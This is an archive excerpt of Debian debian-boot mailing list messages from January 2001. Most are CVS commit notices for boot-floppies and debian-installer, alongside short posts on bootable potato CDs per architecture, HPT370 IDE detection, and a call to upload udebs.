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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:53:33 Modified files: documentation/en: dbootstrap.sgml Log message: Section configure-modules gutted for potato; talk about extra modules from floppy step, and more modconf stuff -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:54:50 Modified files: debian : changelog Log message: doc welcome note change -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: regarding potato images
On 7 Jan 2001, Adam Di Carlo wrote: It would help if someone could inform me of what kernels are on what CDs for other arches, if there are any, on other arches. According to debian-cd/tools/boot/potato/boot-*: Alpha: only CD 1 is bootable, with something that seems like a multi-boot thing for a few sub-arches Arm: not bootable at all since supported computers don't have CD drives. M68k: only CD 1 bootable, AFAICS only for BVME4000/6000 systems (I don't know if other m68k machines have bootable CD drives at all) Powerpc: only CD 1 bootable, seems like a multi-arch boot for several sub-arches. Sparc: only CD 1 bootable Regards, Anne Bezemer -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#70798: UDMA66 boot problem/HPT370
I just tested the 2.2.17-ide and 2.2.18-ide kernels and they both detect a HPT370 chip Glenn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: dwhedon
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: dwhedon 01/01/11 23:11:19 Modified files: tools/netcfg : Makefile netcfg.c Added files: tools/netcfg : netcfg-dhcp.c netcfg-static.c netcfg.h Log message: broke dhcp and static cfg's into different modules so we can share common code between them. In theory it would save about 3k, I think, though my initialy efforts didn't save any space, so we still aren't sharing. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 23:24:18 debian-installer/build/debian Update of /cvs/debian-boot/debian-installer/build/debian In directory klecker:/org/home/joeyh/tmp/cvs-serv4257/debian Log Message: Directory /cvs/debian-boot/debian-installer/build/debian added to the repository -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 23:25:07 Added files: build/debian : control Log message: Maybe this will really be a debian package one day. For now, this is a useful place to list the things rather bizzare dependancies. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 23:25:31 Modified files: build/debian : control Log message: er, I did say dependancies -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
call for uploads
If you have something that makes a udeb, and it is more or less working and it is not yet in the main debian archive, please upload it. In particular, cdebconf, ddetect, netcfg, and maybe pcidetect seem to be fairly far along, and are not in the archive. If anyone needs a sponsor, I would be glad to help. If it's not in the archive, it's annoying to make the build system use it; in particular it's impossible to make sure I have a current udeb. I have plans to make the build system generate a new snapshot image every day. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/12 00:09:56 Modified files: build : Makefile TODO build/debian : control Log message: implemented status file reduction, for a few 1 savings -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/12 00:12:32 Modified files: doc: TODO Log message: TODO merge -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
